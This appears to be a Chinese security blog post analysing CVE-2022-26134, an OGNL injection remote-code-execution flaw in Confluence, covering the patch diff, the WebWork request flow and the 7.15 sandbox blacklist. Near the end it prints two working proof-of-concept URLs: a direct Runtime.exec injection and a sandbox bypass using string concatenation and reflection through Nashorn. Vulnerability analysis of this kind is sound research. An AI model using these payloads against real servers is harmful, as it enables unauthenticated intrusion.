漏洞背景
官方链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Summary | CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center |
---|---|
Advisory Release Date | 02 Jun 2022 1 PM PDT (Pacific Time, -7 hours) |
Affected Products | ConfluenceConfluence ServerConfluence Data Center |
Affected Versions | All supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected. |
Fixed Versions | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
所有版本的 Confluence 和 DataCenter 都会受影响
临时修复方式:
-
7.15.0-7.18.0: 替换 xwork-1.0.3-atlassian-10.jar
文件 -
6.0.0-7.14.2: 替换以下文件 -
xwork-1.0.3-atlassian-10.jar -
webwork-2.1.5-atlassian-4.jar -
CachedConfigurationProvider.class
代码分析
diff 补丁
对xwork-1.0.3-atlassian-10.jar
和低版本进行反编译 diff
区别在于将
finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
finalActionName = TextParseUtil.translateVariables(this.actionName, stack))
修改为
finalNamespace = this.namespace,
finalActionName = this.actionName
少了TextParseUtil.translateVariables()
的流程
该函数处理调用了
Object o = OgnlValueStack.findValue(g);
...
Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
较为明显的ognl
表达式注入,那我们来看一下具体的触发流程。
WebWork 框架分析
Confluence
使用 WebWork
框架,框架调用流转图, 整个 HTTP 请求逻辑是随着这个框架处理流程来的。
-
客户发起 HTTP 流程访问 -
按照 servlet 规范,先由 filter 进行处理,然后由 WebWork 核心控制器 ServletDispatcher
进行处理 -
WebWork 根据 xwork.xml
配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分 -
先依次调用拦截器(before),然后再由业务逻辑处理 -
根据业务逻辑返回的响应类型对响应进行渲染 -
依次调用拦截器(after),然后将响应输出
confluence 在web.xml
中引入WebWork
框架配置
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>com.atlassian.confluence.servlet.ConfluenceServletDispatcher</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.action</url-pattern>
</servlet-mapping>
ConfluenceServletDispatcher
基类com.opensymphony.webwork.dispatcher.ServletDispatcher
框架配置说明文件:xwork.xml
文件,在 jar 包confluence-版本号.jar
中
对配置文件进行说明
一个Demo ?
action 映射逻辑,指定 url 映射的处理类
请求如下的url/person/jasperList.action
-
package 命名空间 name: person
, namespaceperson
, 对应一级路径 -
action 最小的处理单元,name: jasperList
, 对应二级路径,class 处理类:com.opensymphony.webwork.showcase.jasper.JasperAction
-
result 响应结果是枚举类型 "success", 响应类型为 jasper
-
param 参数:参数名和参数类型
再举一个例子 login.action
confluence 7.4.10 版本 xwork.xml 文件,default
命名空间下的login action
,访问路径/login.action
-
package 命名空间 name: default
,在未匹配到命名空间的情况下映射到该命名空间处理。(注意此刻一级目录为空) -
action name: login
, class 处理类:com.atlassian.confluence.user.actions.LoginAction
, 处理方法doDefault
-
interceptor-ref
:validatingStack
,引用拦截器validatingStack
-
响应结果
input, 类型为 velocity,使用login.vm
进行渲染
interceptor-ref
配置的拦截器集合validatingStack
,其中又引用了defaultStack
,captcha
,validator
,workflow
,profiling
等拦截器, 拦截器集合是可以进行嵌套的。
<interceptor-stack name="validatingStack">
<interceptor-ref name="defaultStack"/>
<!--Must come after pageAware and spaceAware, as the view rendered in a response to a failed validation may access properties of page and/or space objects.-->
<interceptor-ref name="captcha"/>
<interceptor-ref name="validator"/>
<interceptor-ref name="workflow"/>
<interceptor-ref name="profiling">
<param name="location">After validatingStack</param>
</interceptor-ref>
</interceptor-stack>
再再举一个例子 index.action
在default
命名空间下,默认访问的 action 为index
,访问根目录会使用index
进行响应
<action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
<interceptor-ref name="defaultStack"/>
<result name="redirect" type="redirect">${location}</result>
<result name="forward" type="dispatcher">${location}</result>
</action>
配置了defaultStack
进行处理
看一下defaultStack
拦截器的配置,注意拦截器是按照配置依次调用的,存在顺序。
<interceptor-stack name="defaultStack">
<interceptor-ref name="profiling">
<param name="location">Before defaultStack</param>
</interceptor-ref>
<interceptor-ref name="securityHeaders"/>
<interceptor-ref name="setupIncomplete"/>
<interceptor-ref name="transaction"/>
<interceptor-ref name="params"/>
<interceptor-ref name="autowire"/>
<interceptor-ref name="lastModified"/>
<interceptor-ref name="servlet"/>
<interceptor-ref name="flashScope"/>
<interceptor-ref name="confluenceAccess"/>
<interceptor-ref name="spaceAware"/>
<interceptor-ref name="pageAware"/>
<interceptor-ref name="commentAware"/>
<interceptor-ref name="userAware"/>
<interceptor-ref name="prepare"/>
<!-- Must come after pageAware and spaceAware to make sure that pages and spaces are loaded-->
<!-- Must come before permissions as isPermitted might require some bootstrapping-->
<interceptor-ref name="bootstrapAware"/>
<interceptor-ref name="permissions"/>
<!-- It's a good idea to put this after the permissions check, in case you can determine the existence
of a space by whether the error page is themed! -->
<interceptor-ref name="themeContext"/>
<interceptor-ref name="webSudo"/>
<interceptor-ref name="httpMethodValidator"/>
<!--Must come after pageAware and spaceAware since at the moment, some implementations of ConfluenceActionSupport.getCancelResult(), do work against the database with pages and spaces.-->
<!--Also must come before captcha, else a form with captcha won't be cancellable. Also must come before the validator (as validation should be skipped on cancel)-->
<interceptor-ref name="cancel"/>
<interceptor-ref name="loggingContext"/>
<interceptor-ref name="eventPublisher"/>
<interceptor-ref name="messageHolder"/>
<interceptor-ref name="httpRequestStats"/>
<interceptor-ref name="licenseChecker"/>
<interceptor-ref name="xsrfToken"/>
<interceptor-ref name="profiling">
<param name="location">After defaultStack</param>
</interceptor-ref>
</interceptor-stack>
关注其中的confluenceAccess
拦截器,该拦截器定义如下
<interceptor name="confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />
intercept 函数
如果!this.isAccessPermitted(actionInvocation)
返回为否,那么调用actionInvocation.invoke()
, 调用下一个 intercept,如果返回为真,也就是没有权限,返回为notpermitted
。
默认未授权访问,即action=index
时,是没有权限的,此刻会响应notpermitted
,result
类型之一
如果授权会调用actionInvocation.invoke()
,调用下一个拦截器,如果响应resultCode
,会调用this.execuResult()
, 大家可以回想一下 WebWork 的数据流图。代码逻辑如下
如果响应有权限,那么会递归调用actionInvocation.invoke()
, 否则输出 resultCode,进入 executeResult()。
接下来跟踪调用栈,ActionChainResult#exec
调用了TextParseUtil@translateVariables
, 然后就快进到 ongl 表达式的执行流程了
可知 namespace 是我们可控的 url 路径参数
可以函数com.opensymphony.xwork.util.OgnlValueStack#findValue
看到调用Ognl.getValue
即可造成 ognl 代码执行
相应poc
如下
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
Host: 10.211.55.8:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
Upgrade-Insecure-Requests: 1
绕沙箱
关注一下com.opensymphony.xwork.util.OgnlValueStack#findValue
实现
官方说明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html
在 7.15 版本中添加,阻止对 java 特定类和特定包访问,与https://struts.apache.org/security/#internal-security-mechanism
相似
表达式经过safeExpressionUtil.isSafeExpression
判断
com.opensymphony.xwork.util.SafeExpressionUtil
沙箱类分析
关键配置
-
xwork.excludedClasses - a comma-separated list of excluded classes.
-
xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.
-
xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.
黑白名单列表
<constant name="xwork.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
java.lang.Thread,
sun.misc.Unsafe,
com.opensymphony.xwork.ActionContext
java.lang.Compiler,
java.lang.InheritableThreadLocal,
java.lang.Package,
java.lang.Process,
java.lang.RuntimePermission,
java.lang.SecurityManager,
java.lang.ThreadGroup,
java.lang.ThreadLocal,
javax.script.ScriptEngineManager,
javax.servlet.ServletContext,
javax.persistence.EntityManager,
org.apache.tomcat.InstanceManager,
org.springframework.context.ApplicationContext,
com.atlassian.applinks.api.ApplicationLinkRequestFactory,
com.atlassian.core.util.ClassLoaderUtils,
com.atlassian.core.util.ClassHelper" />
<constant name="xwork.excludedPackageNames"
value="
ognl,
java.io,
java.net,
java.nio,
javax,
freemarker.core,
freemarker.template,
freemarker.ext.jsp,
freemarker.ext.rhino,
sun.misc,
sun.reflect,
javassist,
org.apache.velocity,
org.objectweb.asm,
org.springframework.context,
com.opensymphony.xwork.util,
org.apache.tomcat,
org.apache.catalina.core,
org.wildfly.extension.undertow.deployment
java.lang.reflect,
com.atlassian.cache,
com.atlassian.confluence.util.http,
com.atlassian.failurecache,
com.atlassian.vcache,
com.atlassian.sal.api.net,
com.google.common.cache,
com.google.common.net,
com.hazelcast,java.jms,
java.rmi,
javax.management,
javax.naming,
org.apache.catalina.session,
org.apache.commons.httpclient,
org.apache.httpcomponents.httpclient,
org.apache.http.client,
org.ehcache,
com.google.common.reflect,
com.sun.jmx,com.sun.jna,
javax.xml,jdk.nashorn,
net.bytebuddy,
net.sf.cglib,org.apache.bcel,
org.javassist,org.ow2.asm,
sun.awt.shell,
sun.corba,
sun.invoke,
sun.launcher,
sun.management,
sun.misc,
sun.net,
sun.nio,
sun.print,
sun.reflect,
sun.rmi,
sun.security,
sun.tracing,
sun.tools.jar,
com.atlassian.activeobjects,
com.atlassian.hibernate,
java.sql,
javax.persistence,
javax.sql,
liquibase,
net.java.ao,
net.sf.hibernate,
com.atlassian.confluence.setup.bandana,
com.atlassian.filestore,
com.atlassian.media,
com.google.common.io,
java.util.jar,
java.util.zip,
org.apache.commons.io,
com.atlassian.confluence.impl.util.sandbox,
com.atlassian.confluence.util.io,
com.atlassian.confluence.util.sandbox,
com.atlassian.quartz,
com.atlassian.scheduler,
com.atlassian.utils.process,
com.atlassian.util.concurrent,
io.atlassian.util.concurrent,
java.util.concurrent,
org.apache.commons.exec,
org.springframework.expression.spel,
org.springframework.util.concurrent,
org.quartz,
oshi" />
<constant name="xwork.allowedClasses"
value="com.atlassian.confluence.util.GeneralUtil,
java.io.Serializable,
java.lang.reflect.Proxy,
net.sf.hibernate.proxy.HibernateProxy,
net.sf.cglib.proxy.Factory,
java.io.ObjectInputValidation,
net.java.ao.Entity,
net.java.ao.RawEntity,
net.java.ao.EntityProxyAccessor" />
沙箱核心逻辑,调用OgnlUtil.compile
对表达式进行解析,对每一个 node compile 之后进行递归的安全判断。
private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
return false;
}
if (this.isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
}
if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node) {
if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
}
}
} catch (RuntimeException | OgnlException var4) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of OGNL expression", var4);
}
}
}
return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}
通过字符串拼接的方式绕过 node 类型为ASTconstant
判断逻辑
private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;
} else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
return true;
}
}
return false;
}
}
两个关键点
-
利用反射构造恶意对象及实例 -
利用字符串拼接绕过常量匹配
对应 poc 如下
/%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
文章评论